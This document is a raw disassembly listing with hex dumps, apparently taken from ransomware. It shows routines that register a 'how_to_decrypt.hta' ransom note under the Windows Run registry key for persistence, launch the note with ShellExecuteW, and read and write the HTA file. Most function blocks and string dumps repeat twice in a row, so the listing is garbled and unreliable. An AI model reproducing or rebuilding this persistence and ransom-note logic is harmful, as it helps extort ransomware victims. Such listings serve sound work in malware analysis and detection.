00439ccblea rcx, [rbp+104]
00439ccfcall fn_40bd90
00439cd4lea rsp, [rbp+128]
00439cdbpop rbx
00439cdcpop rsi
00439cddpop rbp
00439cderet
00439b10
00439b10fn_439b10:
00439b10push rbp
00439b11push rsi
00439b12push rbx
00439b13add rsp, -128
00439b17mov rbp, rsp
00439b1amov [rbp+48], 0
00439b22mov [rbp+56], 0
00439b2amov [rbp+64], 0
00439b32mov [rbp+96], 0
00439b3amov [rbp+72], 0
00439b42mov [rbp+104], 0
00439b4anop
00439b4blea rcx, [rbp+104]
00439b4fmov rax, [rip+0x2a46a]
00439b56mov rdx, [rax+280]
00439b5dlea r8, [rip+436]
00439b64call fn_40d230
00439b69mov rcx, [rbp+104]
00439b6dcall fn_42fe80
00439b72test al, al
00439b74je 0x439cb3
00439b7amov rcx, 0xffffffff80000001
00439b81lea rdx, [rip+438]
00439b88lea r8, [rbp+120]
00439b8ccall RegOpenKeyW
00439b91mov rax, [rip+0x2a428]
00439b98mov rax, [rax+128]
00439b9ftest rax, rax
00439ba2je 0x439ba8
00439ba4mov rax, [rax-8]
00439ba8
00439ba8loc_439ba8:
00439ba8lea rcx, [rbp+80]
00439bacmov rdx, [rip+0x2a40d]
00439bb3mov rdx, [rdx+128]
00439bbamov r8l, eax
00439bbdcall fn_432b30
00439bc2lea rcx, [rbp+96]
00439bc6lea rdx, [rbp+80]
00439bcacall fn_432a70
00439bcflea rcx, [rbp+72]
00439bd3mov rdx, [rbp+96]
00439bd7call fn_40d150
00439bdcmov rcx, [rbp+72]
00439be0call fn_40d180
00439be5mov rsi, rax
00439be8lea rcx, [rbp+64]
00439becmov rax, [rip+0x2a3cd]
00439bf3mov rdx, [rax+280]
00439bfalea r8, [rip+279]
00439c01call fn_40d230
00439c06mov rax, [rbp+64]
00439c0axor ebx, ebx
00439c0ctest rax, rax
00439c0fje 0x439c17
00439c11mov ebx, [rax-4]
00439c14shr ebx, 1
00439c17
00439c17loc_439c17:
00439c17lea rcx, [rbp+56]
00439c1bmov rax, [rip+0x2a39e]
00439c22mov rdx, [rax+280]
00439c29lea r8, [rip+232]
00439c30call fn_40d230
00439c35mov rcx, [rbp+56]
00439c39call fn_40d180
00439c3emov rcx, [rbp+120]
00439c42mov rdx, rsi
00439c45xor r8, r8
00439c48mov r9l, 1
00439c4emov [rsp+32], rax
00439c53add ebx, ebx
00439c55mov [rsp+40], ebx
00439c59call RegSetValueExW
00439c5emov rcx, [rbp+120]
00439c62call RegCloseKey
00439c67lea rcx, [rbp+48]
00439c6bmov rax, [rip+0x2a34e]
00439c72mov rdx, [rax+280]
00439c79lea r8, [rip+152]
00439c80call fn_40d230
00439c85mov rcx, [rbp+48]
00439c89call fn_40d180
00439c8exor ecx, ecx
00439c90lea rdx, [rip+259]
00439c97mov r8, rax
00439c9axor r9, r9
00439c9dmov [rsp+32], 0
00439ca6mov [rsp+40], 5
00439caecall ShellExecuteW
00439cb3
00439cb3loc_439cb3:
00439cb3nop
00439cb4lea rcx, [rbp+48]
00439cb8mov edx, 4
00439cbdcall fn_40be70
00439cc2lea rcx, [rbp+96]
00439cc6call fn_40bd40
00439ccblea rcx, [rbp+104]
00439ccfcall fn_40bd90
00439cd4lea rsp, [rbp+128]
00439cdbpop rbx
00439cdcpop rsi
00439cddpop rbp
00439cderet
00439b10
00439cdf
00439cdf // align 0x10
00439cdf // align 0x10
00439ce0
00439ce0fn_439ce0:
00439ce0push rbp
00439ce1push rbx
00439ce2sub rsp, 40
00439ce6mov rbp, rsp
00439ce9mov rbx, rdx
00439ceclea rcx, [rbx+48]
00439cf0mov edx, 4
00439cf5call fn_40be70
00439cfalea rcx, [rbx+96]
00439cfecall fn_40bd40
00439d03lea rcx, [rbx+104]
00439d07call fn_40bd90
00439d0clea rsp, [rbp+40]
00439d10pop rbx
00439d11pop rbp
00439d12ret
00439ce0
00439ce0fn_439ce0:
00439ce0push rbp
00439ce1push rbx
00439ce2sub rsp, 40
00439ce6mov rbp, rsp
00439ce9mov rbx, rdx
00439ceclea rcx, [rbx+48]
00439cf0mov edx, 4
00439cf5call fn_40be70
00439cfalea rcx, [rbx+96]
00439cfecall fn_40bd40
00439d03lea rcx, [rbx+104]
00439d07call fn_40bd90
00439d0clea rsp, [rbp+40]
00439d10pop rbx
00439d11pop rbp
00439d12ret
00439ce0
00439d13
00439d13 00 24 00 00 00 68 00 6f 00 77 00 5f 00 .$...h.o.w._.
00439d20 74 00 6f 00 5f 00 64 00 65 00 63 00 72 00 79 00 t.o._.d.e.c.r.y.
00439d30 70 00 74 00 2e 00 68 00 74 00 61 00 00 00 73 00 p.t...h.t.a...s.
00439d40 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 o.f.t.w.a.r.e.\.
00439d50 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 m.i.c.r.o.s.o.f.
00439d60 74 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 t.\.w.i.n.d.o.w.
00439d70 73 00 5c 00 63 00 75 00 72 00 72 00 65 00 6e 00 s.\.c.u.r.r.e.n.
00439d80 74 00 76 00 65 00 72 00 73 00 69 00 6f 00 6e 00 t.v.e.r.s.i.o.n.
00439d90 5c 00 72 00 75 00 6e 00 00 00 6f 00 70 00 65 00 \.r.u.n...o.p.e.
00439da0 6e 00 00 00 cc cc cc cc cc cc cc cc cc cc cc cc n...............
00439d13 00 24 00 00 00 68 00 6f 00 77 00 5f 00 .$...h.o.w._.
00439d20 74 00 6f 00 5f 00 64 00 65 00 63 00 72 00 79 00 t.o._.d.e.c.r.y.
00439d30 70 00 74 00 2e 00 68 00 74 00 61 00 00 00 73 00 p.t...h.t.a...s.
00439d40 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 o.f.t.w.a.r.e.\.
00439d50 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 m.i.c.r.o.s.o.f.
00439d60 74 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 t.\.w.i.n.d.o.w.
00439d70 73 00 5c 00 63 00 75 00 72 00 72 00 65 00 6e 00 s.\.c.u.r.r.e.n.
00439d80 74 00 76 00 65 00 72 00 73 00 69 00 6f 00 6e 00 t.v.e.r.s.i.o.n.
00439d90 5c 00 72 00 75 00 6e 00 00 00 6f 00 70 00 65 00 \.r.u.n...o.p.e.
00439da0 6e 00 00 00 cc cc cc cc cc cc cc cc cc cc cc cc n...............
00439db0
00439db0fn_439db0:
00439db0push rbp
00439db1push rbx
00439db2sub rsp, 120
00439db6mov rbp, rsp
00439db9mov [rbp+72], 0
00439dc1mov [rbp+88], 0
00439dc9mov [rbp+80], 0
00439dd1nop
00439dd2mov rax, [rip+0x2a1e7]
00439dd9lea rcx, [rax+152]
00439de0mov rdx, [rip-44999]
00439de7call fn_410600
00439decmov rax, [rip+0x2a1cd]
00439df3cmp [rax+308], 0
00439dfaje 0x439e43
00439dfclea rcx, [rbp+88]
00439e00mov edx, 3
00439e05lea r8, [rip+680]
00439e0cmov rax, [rip+0x2a1ad]
00439e13mov r9, [rax+280]
00439e1alea rax, [rip+711]
00439e21mov [rsp+32], rax
00439e26call fn_40d530
00439e2blea rcx, [rbp+80]
00439e2fmov rdx, [rbp+88]
00439e33call fn_40d820
00439e38mov rcx, [rbp+80]
00439e3cmov dl, 1
00439e3ecall fn_439060
00439e43
00439e43loc_439e43:
00439e43lea rcx, [rbp+72]
00439e47mov rax, [rip+0x2a172]
00439e4emov rdx, [rax+280]
00439e55lea r8, [rip+652]
00439e5ccall fn_40d230
00439e61mov rcx, [rbp+72]
00439e65call fn_40d180
00439e6amov rcx, rax
00439e6dmov edx, 0xffffffff80000000
00439e72xor r8, r8
00439e75xor r9, r9
00439e78mov [rsp+32], 3
00439e80mov [rsp+40], 128
00439e88mov [rsp+48], 0
00439e91call CreateFileW
00439e96mov rbx, rax
00439e99cmp rbx, -1
00439e9djne 0x439ecd
00439e9fmov rax, [rip+0x2a11a]
00439ea6cmp [rax+308], 0
00439eadje 0x43a055
00439eb3lea rcx, [rip+610]
00439ebamov dl, 1
00439ebccall fn_439060
00439ec1xor ecx, ecx
00439ec3call fn_4392a0
00439ec8jmp 0x43a055
00439ecd
00439ecdloc_439ecd:
00439ecdmov rax, [rip+0x2a0ec]
00439ed4cmp [rax+308], 0
00439edbje 0x439eeb
00439eddlea rcx, [rip+640]
00439ee4mov dl, 1
00439ee6call fn_439060
00439eeb
00439eebloc_439eeb:
00439eebmov rcx, rbx
00439eeelea rdx, [rbp+96]
00439ef2call GetFileSizeEx
00439ef7test al, al
00439ef9jne 0x439f2d
00439efbmov rax, [rip+0x2a0be]
00439f02cmp [rax+308], 0
00439f09je 0x439f20
00439f0blea rcx, [rip+654]
00439f12mov dl, 1
00439f14call fn_439060
00439f19xor ecx, ecx
00439f1bcall fn_4392a0
00439f20
00439f20loc_439f20:
00439f20mov rcx, rbx
00439f23call CloseHandle
00439f28jmp 0x43a055
00439f2d
00439f2dloc_439f2d:
00439f2dmov rax, [rip+0x2a08c]
00439f34lea rcx, [rax+152]
00439f3bmov rdx, [rip-45346]
00439f42mov r8l, 1
00439f48mov r9, [rbp+96]
00439f4ccall fn_410430
00439f51mov [rbp+108], 0
00439f58jmp 0x43a022
00439f5d
00439f5dloc_439f5d:
00439f5dmov [rbp+108], 0
00439f64mov rcx, rbx
00439f67xor edx, edx
00439f69xor r8, r8
00439f6cxor r9, r9
00439f6fcall SetFilePointerEx
00439f74test eax, eax
00439f76jne 0x439fa3
00439f78mov rax, [rip+0x2a041]
00439f7fcmp [rax+308], 0
00439f86je 0x43a022
00439f8clea rcx, [rip+605]
00439f93mov dl, 1
00439f95call fn_439060
00439f9axor ecx, ecx
00439f9ccall fn_4392a0
00439fa1jmp 0x43a022
00439fa3
00439fa3loc_439fa3:
00439fa3mov rcx, rbx
00439fa6mov rax, [rip+0x2a013]
00439fadmov rdx, [rax+152]
00439fb4mov r8l, [rbp+96]
00439fb8lea r9, [rbp+108]
00439fbcmov [rsp+32], 0
00439fc5call ReadFile
00439fcatest eax, eax
00439fccjne 0x439ff5
00439fcemov rax, [rip+0x29feb]
00439fd5cmp [rax+308], 0
00439fdcje 0x43a022
00439fdelea rcx, [rip+631]
00439fe5mov dl, 1
00439fe7call fn_439060
00439fecxor ecx, ecx
00439feecall fn_4392a0
00439ff3jmp 0x43a022
00439ff5
00439ff5loc_439ff5:
00439ff5mov eax, [rbp+108]
00439ff8cmp eax, [rbp+96]
00439ffbje 0x43a022
00439ffdmov rax, [rip+0x29fbc]
0043a004cmp [rax+308], 0
0043a00bje 0x43a022
0043a00dlea rcx, [rip+676]
0043a014mov dl, 1
0043a016call fn_439060
0043a01bxor ecx, ecx
0043a01dcall fn_4392a0
0043a022
0043a022loc_43a022:
0043a022mov eax, [rbp+108]
0043a025cmp eax, [rbp+96]
0043a028jne 0x439f5d
0043a02emov rcx, rbx
0043a031call CloseHandle
0043a036mov rax, [rip+0x29f83]
0043a03dcmp [rax+308], 0
0043a044je 0x43a054
0043a046lea rcx, [rip+727]
0043a04dmov dl, 1
0043a04fcall fn_439060
0043a054
0043a054loc_43a054:
0043a054nop
0043a055
0043a055loc_43a055:
0043a055lea rcx, [rbp+72]
0043a059call fn_40bd90
0043a05elea rcx, [rbp+80]
0043a062call fn_40bcf0
0043a067lea rcx, [rbp+88]
0043a06bcall fn_40bd90
0043a070lea rsp, [rbp+120]
0043a074pop rbx
0043a075pop rbp
0043a076ret
00439db0
00439db0fn_439db0:
00439db0push rbp
00439db1push rbx
00439db2sub rsp, 120
00439db6mov rbp, rsp
00439db9mov [rbp+72], 0
00439dc1mov [rbp+88], 0
00439dc9mov [rbp+80], 0
00439dd1nop
00439dd2mov rax, [rip+0x2a1e7]
00439dd9lea rcx, [rax+152]
00439de0mov rdx, [rip-44999]
00439de7call fn_410600
00439decmov rax, [rip+0x2a1cd]
00439df3cmp [rax+308], 0
00439dfaje 0x439e43
00439dfclea rcx, [rbp+88]
00439e00mov edx, 3
00439e05lea r8, [rip+680]
00439e0cmov rax, [rip+0x2a1ad]
00439e13mov r9, [rax+280]
00439e1alea rax, [rip+711]
00439e21mov [rsp+32], rax
00439e26call fn_40d530
00439e2blea rcx, [rbp+80]
00439e2fmov rdx, [rbp+88]
00439e33call fn_40d820
00439e38mov rcx, [rbp+80]
00439e3cmov dl, 1
00439e3ecall fn_439060
00439e43
00439e43loc_439e43:
00439e43lea rcx, [rbp+72]
00439e47mov rax, [rip+0x2a172]
00439e4emov rdx, [rax+280]
00439e55lea r8, [rip+652]
00439e5ccall fn_40d230
00439e61mov rcx, [rbp+72]
00439e65call fn_40d180
00439e6amov rcx, rax
00439e6dmov edx, 0xffffffff80000000
00439e72xor r8, r8
00439e75xor r9, r9
00439e78mov [rsp+32], 3
00439e80mov [rsp+40], 128
00439e88mov [rsp+48], 0
00439e91call CreateFileW
00439e96mov rbx, rax
00439e99cmp rbx, -1
00439e9djne 0x439ecd
00439e9fmov rax, [rip+0x2a11a]
00439ea6cmp [rax+308], 0
00439eadje 0x43a055
00439eb3lea rcx, [rip+610]
00439ebamov dl, 1
00439ebccall fn_439060
00439ec1xor ecx, ecx
00439ec3call fn_4392a0
00439ec8jmp 0x43a055
00439ecd
00439ecdloc_439ecd:
00439ecdmov rax, [rip+0x2a0ec]
00439ed4cmp [rax+308], 0
00439edbje 0x439eeb
00439eddlea rcx, [rip+640]
00439ee4mov dl, 1
00439ee6call fn_439060
00439eeb
00439eebloc_439eeb:
00439eebmov rcx, rbx
00439eeelea rdx, [rbp+96]
00439ef2call GetFileSizeEx
00439ef7test al, al
00439ef9jne 0x439f2d
00439efbmov rax, [rip+0x2a0be]
00439f02cmp [rax+308], 0
00439f09je 0x439f20
00439f0blea rcx, [rip+654]
00439f12mov dl, 1
00439f14call fn_439060
00439f19xor ecx, ecx
00439f1bcall fn_4392a0
00439f20
00439f20loc_439f20:
00439f20mov rcx, rbx
00439f23call CloseHandle
00439f28jmp 0x43a055
00439f2d
00439f2dloc_439f2d:
00439f2dmov rax, [rip+0x2a08c]
00439f34lea rcx, [rax+152]
00439f3bmov rdx, [rip-45346]
00439f42mov r8l, 1
00439f48mov r9, [rbp+96]
00439f4ccall fn_410430
00439f51mov [rbp+108], 0
00439f58jmp 0x43a022
00439f5d
00439f5dloc_439f5d:
00439f5dmov [rbp+108], 0
00439f64mov rcx, rbx
00439f67xor edx, edx
00439f69xor r8, r8
00439f6cxor r9, r9
00439f6fcall SetFilePointerEx
00439f74test eax, eax
00439f76jne 0x439fa3
00439f78mov rax, [rip+0x2a041]
00439f7fcmp [rax+308], 0
00439f86je 0x43a022
00439f8clea rcx, [rip+605]
00439f93mov dl, 1
00439f95call fn_439060
00439f9axor ecx, ecx
00439f9ccall fn_4392a0
00439fa1jmp 0x43a022
00439fa3
00439fa3loc_439fa3:
00439fa3mov rcx, rbx
00439fa6mov rax, [rip+0x2a013]
00439fadmov rdx, [rax+152]
00439fb4mov r8l, [rbp+96]
00439fb8lea r9, [rbp+108]
00439fbcmov [rsp+32], 0
00439fc5call ReadFile
00439fcatest eax, eax
00439fccjne 0x439ff5
00439fcemov rax, [rip+0x29feb]
00439fd5cmp [rax+308], 0
00439fdcje 0x43a022
00439fdelea rcx, [rip+631]
00439fe5mov dl, 1
00439fe7call fn_439060
00439fecxor ecx, ecx
00439feecall fn_4392a0
00439ff3jmp 0x43a022
00439ff5
00439ff5loc_439ff5:
00439ff5mov eax, [rbp+108]
00439ff8cmp eax, [rbp+96]
00439ffbje 0x43a022
00439ffdmov rax, [rip+0x29fbc]
0043a004cmp [rax+308], 0
0043a00bje 0x43a022
0043a00dlea rcx, [rip+676]
0043a014mov dl, 1
0043a016call fn_439060
0043a01bxor ecx, ecx
0043a01dcall fn_4392a0
0043a022
0043a022loc_43a022:
0043a022mov eax, [rbp+108]
0043a025cmp eax, [rbp+96]
0043a028jne 0x439f5d
0043a02emov rcx, rbx
0043a031call CloseHandle
0043a036mov rax, [rip+0x29f83]
0043a03dcmp [rax+308], 0
0043a044je 0x43a054
0043a046lea rcx, [rip+727]
0043a04dmov dl, 1
0043a04fcall fn_439060
0043a054
0043a054loc_43a054:
0043a054nop
0043a055
0043a055loc_43a055:
0043a055lea rcx, [rbp+72]
0043a059call fn_40bd90
0043a05elea rcx, [rbp+80]
0043a062call fn_40bcf0
0043a067lea rcx, [rbp+88]
0043a06bcall fn_40bd90
0043a070lea rsp, [rbp+120]
0043a074pop rbx
0043a075pop rbp
0043a076ret
00439db0
0043a077
0043a077 90 48 8d 04 05 00 00 00 00 .H.......
0043a077 90 48 8d 04 05 00 00 00 00 .H.......
0043a080
0043a080fn_43a080:
0043a080push rbp
0043a081push rbx
0043a082sub rsp, 40
0043a086mov rbp, rsp
0043a089mov rbx, rdx
0043a08clea rcx, [rbx+72]
0043a090call fn_40bd90
0043a095lea rcx, [rbx+80]
0043a099call fn_40bcf0
0043a09elea rcx, [rbx+88]
0043a0a2call fn_40bd90
0043a0a7lea rsp, [rbp+40]
0043a0abpop rbx
0043a0acpop rbp
0043a0adret
0043a080
0043a080fn_43a080:
0043a080push rbp
0043a081push rbx
0043a082sub rsp, 40
0043a086mov rbp, rsp
0043a089mov rbx, rdx
0043a08clea rcx, [rbx+72]
0043a090call fn_40bd90
0043a095lea rcx, [rbx+80]
0043a099call fn_40bcf0
0043a09elea rcx, [rbx+88]
0043a0a2call fn_40bd90
0043a0a7lea rsp, [rbp+40]
0043a0abpop rbx
0043a0acpop rbp
0043a0adret
0043a080
0043a0ae
0043a0ae 00 00 ..
0043a0b0 2c 00 00 00 54 00 72 00 79 00 20 00 74 00 6f 00 ,...T.r.y. .t.o.
0043a0c0 20 00 6f 00 70 00 65 00 6e 00 20 00 48 00 54 00 .o.p.e.n. .H.T.
0043a0d0 41 00 20 00 66 00 69 00 6c 00 65 00 3a 00 20 00 A. .f.i.l.e.:. .
0043a0e0 00 00 00 00 24 00 00 00 68 00 6f 00 77 00 5f 00 ....$...h.o.w._.
0043a0f0 74 00 6f 00 5f 00 64 00 65 00 63 00 72 00 79 00 t.o._.d.e.c.r.y.
0043a100 70 00 74 00 2e 00 68 00 74 00 61 00 00 00 00 00 p.t...h.t.a.....
0043a110 b0 04 02 00 ff ff ff ff 1d 00 00 00 57 00 41 00 ............W.A.
0043a120 52 00 4e 00 49 00 4e 00 47 00 3a 00 20 00 43 00 R.N.I.N.G.:. .C.
0043a130 61 00 6e 00 27 00 74 00 20 00 6f 00 70 00 65 00 a.n.'.t. .o.p.e.
0043a140 6e 00 20 00 48 00 54 00 41 00 20 00 66 00 69 00 n. .H.T.A. .f.i.
0043a150 6c 00 65 00 2e 00 00 00 b0 04 02 00 ff ff ff ff l.e.............
0043a160 16 00 00 00 54 00 72 00 79 00 20 00 67 00 65 00 ....T.r.y. .g.e.
0043a170 74 00 20 00 48 00 54 00 41 00 20 00 66 00 69 00 t. .H.T.A. .f.i.
0043a180 6c 00 65 00 20 00 73 00 69 00 7a 00 65 00 2e 00 l.e. .s.i.z.e...
0043a190 00 00 00 00 b0 04 02 00 ff ff ff ff 21 00 00 00 ............!...
0043a1a0 57 00 41 00 52 00 4e 00 49 00 4e 00 47 00 3a 00 W.A.R.N.I.N.G.:.
0043a1b0 20 00 43 00 61 00 6e 00 27 00 74 00 20 00 67 00 .C.a.n.'.t. .g.
0043a1c0 65 00 74 00 20 00 48 00 54 00 41 00 20 00 66 00 e.t. .H.T.A. .f.
0043a1d0 69 00 6c 00 65 00 20 00 73 00 69 00 7a 00 65 00 i.l.e. .s.i.z.e.
0043a1e0 2e 00 00 00 b0 04 02 00 ff ff ff ff 2e 00 00 00 ................
0043a1f0 45 00 52 00 52 00 4f 00 52 00 3a 00 20 00 43 00 E.R.R.O.R.:. .C.
0043a200 61 00 6e 00 27 00 74 00 20 00 73 00 65 00 74 00 a.n.'.t. .s.e.t.
0043a210 20 00 48 00 54 00 41 00 20 00 66 00 69 00 6c 00 .H.T.A. .f.i.l.
0043a220 65 00 20 00 70 00 6f 00 73 00 69 00 74 00 69 00 e. .p.o.s.i.t.i.
0043a230 6f 00 6e 00 2e 00 20 00 54 00 72 00 79 00 20 00 o.n... .T.r.y. .
0043a240 61 00 67 00 61 00 69 00 6e 00 2e 00 00 00 00 00 a.g.a.i.n.......
0043a250 b0 04 02 00 ff ff ff ff 26 00 00 00 45 00 52 00 ........&...E.R.
0043a260 52 00 4f 00 52 00 3a 00 20 00 43 00 61 00 6e 00 R.O.R.:. .C.a.n.
0043a270 27 00 74 00 20 00 72 00 65 00 61 00 64 00 20 00 '.t. .r.e.a.d. .
0043a280 66 00 72 00 6f 00 6d 00 20 00 48 00 54 00 41 00 f.r.o.m. .H.T.A.
0043a290 2e 00 20 00 54 00 72 00 79 00 20 00 61 00 67 00 .. .T.r.y. .a.g.
0043a2a0 61 00 69 00 6e 00 2e 00 00 00 00 00 b0 04 02 00 a.i.n...........
0043a2b0 ff ff ff ff 2f 00 00 00 45 00 52 00 52 00 4f 00 ..../...E.R.R.O.
0043a2c0 52 00 3a 00 20 00 43 00 61 00 6e 00 27 00 74 00 R.:. .C.a.n.'.t.
0043a2d0 20 00 72 00 65 00 61 00 64 00 20 00 61 00 6c 00 .r.e.a.d. .a.l.
0043a2e0 6c 00 20 00 64 00 61 00 74 00 61 00 20 00 66 00 l. .d.a.t.a. .f.
0043a2f0 72 00 6f 00 6d 00 20 00 48 00 54 00 41 00 2e 00 r.o.m. .H.T.A...
0043a300 20 00 54 00 72 00 79 00 20 00 61 00 67 00 61 00 .T.r.y. .a.g.a.
0043a310 69 00 6e 00 2e 00 00 00 b0 04 02 00 ff ff ff ff i.n.............
0043a320 0b 00 00 00 48 00 54 00 41 00 20 00 6c 00 6f 00 ....H.T.A. .l.o.
0043a330 61 00 64 00 65 00 64 00 2e 00 00 00 cc cc cc cc a.d.e.d.........
0043a0ae 00 00 ..
0043a0b0 2c 00 00 00 54 00 72 00 79 00 20 00 74 00 6f 00 ,...T.r.y. .t.o.
0043a0c0 20 00 6f 00 70 00 65 00 6e 00 20 00 48 00 54 00 .o.p.e.n. .H.T.
0043a0d0 41 00 20 00 66 00 69 00 6c 00 65 00 3a 00 20 00 A. .f.i.l.e.:. .
0043a0e0 00 00 00 00 24 00 00 00 68 00 6f 00 77 00 5f 00 ....$...h.o.w._.
0043a0f0 74 00 6f 00 5f 00 64 00 65 00 63 00 72 00 79 00 t.o._.d.e.c.r.y.
0043a100 70 00 74 00 2e 00 68 00 74 00 61 00 00 00 00 00 p.t...h.t.a.....
0043a110 b0 04 02 00 ff ff ff ff 1d 00 00 00 57 00 41 00 ............W.A.
0043a120 52 00 4e 00 49 00 4e 00 47 00 3a 00 20 00 43 00 R.N.I.N.G.:. .C.
0043a130 61 00 6e 00 27 00 74 00 20 00 6f 00 70 00 65 00 a.n.'.t. .o.p.e.
0043a140 6e 00 20 00 48 00 54 00 41 00 20 00 66 00 69 00 n. .H.T.A. .f.i.
0043a150 6c 00 65 00 2e 00 00 00 b0 04 02 00 ff ff ff ff l.e.............
0043a160 16 00 00 00 54 00 72 00 79 00 20 00 67 00 65 00 ....T.r.y. .g.e.
0043a170 74 00 20 00 48 00 54 00 41 00 20 00 66 00 69 00 t. .H.T.A. .f.i.
0043a180 6c 00 65 00 20 00 73 00 69 00 7a 00 65 00 2e 00 l.e. .s.i.z.e...
0043a190 00 00 00 00 b0 04 02 00 ff ff ff ff 21 00 00 00 ............!...
0043a1a0 57 00 41 00 52 00 4e 00 49 00 4e 00 47 00 3a 00 W.A.R.N.I.N.G.:.
0043a1b0 20 00 43 00 61 00 6e 00 27 00 74 00 20 00 67 00 .C.a.n.'.t. .g.
0043a1c0 65 00 74 00 20 00 48 00 54 00 41 00 20 00 66 00 e.t. .H.T.A. .f.
0043a1d0 69 00 6c 00 65 00 20 00 73 00 69 00 7a 00 65 00 i.l.e. .s.i.z.e.
0043a1e0 2e 00 00 00 b0 04 02 00 ff ff ff ff 2e 00 00 00 ................
0043a1f0 45 00 52 00 52 00 4f 00 52 00 3a 00 20 00 43 00 E.R.R.O.R.:. .C.
0043a200 61 00 6e 00 27 00 74 00 20 00 73 00 65 00 74 00 a.n.'.t. .s.e.t.
0043a210 20 00 48 00 54 00 41 00 20 00 66 00 69 00 6c 00 .H.T.A. .f.i.l.
0043a220 65 00 20 00 70 00 6f 00 73 00 69 00 74 00 69 00 e. .p.o.s.i.t.i.
0043a230 6f 00 6e 00 2e 00 20 00 54 00 72 00 79 00 20 00 o.n... .T.r.y. .
0043a240 61 00 67 00 61 00 69 00 6e 00 2e 00 00 00 00 00 a.g.a.i.n.......
0043a250 b0 04 02 00 ff ff ff ff 26 00 00 00 45 00 52 00 ........&...E.R.
0043a260 52 00 4f 00 52 00 3a 00 20 00 43 00 61 00 6e 00 R.O.R.:. .C.a.n.
0043a270 27 00 74 00 20 00 72 00 65 00 61 00 64 00 20 00 '.t. .r.e.a.d. .
0043a280 66 00 72 00 6f 00 6d 00 20 00 48 00 54 00 41 00 f.r.o.m. .H.T.A.
0043a290 2e 00 20 00 54 00 72 00 79 00 20 00 61 00 67 00 .. .T.r.y. .a.g.
0043a2a0 61 00 69 00 6e 00 2e 00 00 00 00 00 b0 04 02 00 a.i.n...........
0043a2b0 ff ff ff ff 2f 00 00 00 45 00 52 00 52 00 4f 00 ..../...E.R.R.O.
0043a2c0 52 00 3a 00 20 00 43 00 61 00 6e 00 27 00 74 00 R.:. .C.a.n.'.t.
0043a2d0 20 00 72 00 65 00 61 00 64 00 20 00 61 00 6c 00 .r.e.a.d. .a.l.
0043a2e0 6c 00 20 00 64 00 61 00 74 00 61 00 20 00 66 00 l. .d.a.t.a. .f.
0043a2f0 72 00 6f 00 6d 00 20 00 48 00 54 00 41 00 2e 00 r.o.m. .H.T.A...
0043a300 20 00 54 00 72 00 79 00 20 00 61 00 67 00 61 00 .T.r.y. .a.g.a.
0043a310 69 00 6e 00 2e 00 00 00 b0 04 02 00 ff ff ff ff i.n.............
0043a320 0b 00 00 00 48 00 54 00 41 00 20 00 6c 00 6f 00 ....H.T.A. .l.o.
0043a330 61 00 64 00 65 00 64 00 2e 00 00 00 cc cc cc cc a.d.e.d.........
0043a340
0043a340fn_43a340:
0043a340push rbp
0043a341sub rsp, 208
0043a348mov rbp, rsp
0043a34bmov [rbp+80], 0
0043a353mov [rbp+72], 0
0043a35bmov [rbp+88], 0
0043a363mov [rbp+96], 0
0043a36bmov [rbp+112], 0
0043a373mov [rbp+104], 0
0043a37bmov [rbp+200], 0
0043a386mov [rbp+120], rbp
0043a38amov [rbp+224], rcx
0043a391lea rcx, [rbp+224]
0043a398call fn_40bf00
0043a39dnop
0043a39emov rax, [rip+0x29c1b]
0043a3a5cmp [rax+308], 0
0043a3acje 0x43a3ee
0043a3aelea rcx, [rbp+112]
0043a3b2mov edx, 3
0043a3b7lea r8, [rip+942]
0043a3bemov r9, [rbp+224]
0043a3c5lea rax, [rip+1000]
0043a3ccmov [rsp+32], rax
0043a3d1call fn_40d530
0043a3d6lea rcx, [rbp+104]
0043a3damov rdx, [rbp+112]
0043a3decall fn_40d820
0043a3e3mov rcx, [rbp+104]
0043a3e7mov dl, 1
0043a3e9call fn_439060
0043a3ee
0043a3eeloc_43a3ee:
0043a3eelea rcx, [rbp+96]
0043a3f2mov rdx, [rbp+224]
0043a3f9lea r8, [rip+948]
0043a400call fn_40d230
0043a405mov rcx, [rbp+96]
0043a409call fn_40d180
0043a40emov rcx, rax
0043a411mov edx, 0xffffffffc0000000
0043a416xor r8, r8
0043a419xor r9, r9
0043a41cmov [rsp+32], 1
0043a424mov [rsp+40], 128
0043a42cmov [rsp+48], 0
0043a435call CreateFileW
0043a43amov [rbp+192], rax
0043a441cmp [rbp+192], -1
0043a449jne 0x43a479
0043a44bmov rax, [rip+0x29b6e]
0043a452cmp [rax+308], 0
0043a459je 0x43a6be
0043a45flea rcx, [rip+898]
0043a466mov dl, 1
0043a468call fn_439060
0043a46dxor ecx, ecx
0043a46fcall fn_4392a0
0043a474jmp 0x43a6be
0043a479
0043a479loc_43a479:
0043a479mov rcx, [rbp+192]
0043a480xor edx, edx
0043a482xor r8, r8
0043a485xor r9, r9
0043a488call SetFilePointerEx
0043a48dtest eax, eax
0043a48fjne 0x43a4bf
0043a491mov rax, [rip+0x29b28]
0043a498cmp [rax+308], 0
0043a49fje 0x43a558
0043a4a5lea rcx, [rip+920]
0043a4acmov dl, 1
0043a4aecall fn_439060
0043a4b3xor ecx, ecx
0043a4b5call fn_4392a0
0043a4bajmp 0x43a558
0043a4bf
0043a4bfloc_43a4bf:
0043a4bfmov rax, [rip+0x29afa]
0043a4c6mov rax, [rax+152]
0043a4cdmov [rbp+176], rax
0043a4d4mov rax, [rbp+176]
0043a4dbmov [rbp+168], rax
0043a4e2cmp [rbp+168], 0
0043a4eaje 0x43a4fe
0043a4ecmov rax, [rbp+168]
0043a4f3mov rax, [rax-8]
0043a4f7mov [rbp+168], rax
0043a4fe
0043a4feloc_43a4fe:
0043a4femov rcx, [rbp+192]
0043a505mov rax, [rip+0x29ab4]
0043a50cmov rdx, [rax+152]
0043a513mov r8l, [rbp+168]
0043a51alea r9, [rbp+188]
0043a521mov [rsp+32], 0
0043a52acall WriteFile
0043a52ftest eax, eax
0043a531jne 0x43a558
0043a533mov rax, [rip+0x29a86]
0043a53acmp [rax+308], 0
0043a541je 0x43a558
0043a543lea rcx, [rip+850]
0043a54amov dl, 1
0043a54ccall fn_439060
0043a551xor ecx, ecx
0043a553call fn_4392a0
0043a558
0043a558loc_43a558:
0043a558mov rax, [rip+0x29a61]
0043a55fmov rax, [rax+152]
0043a566mov [rbp+160], rax
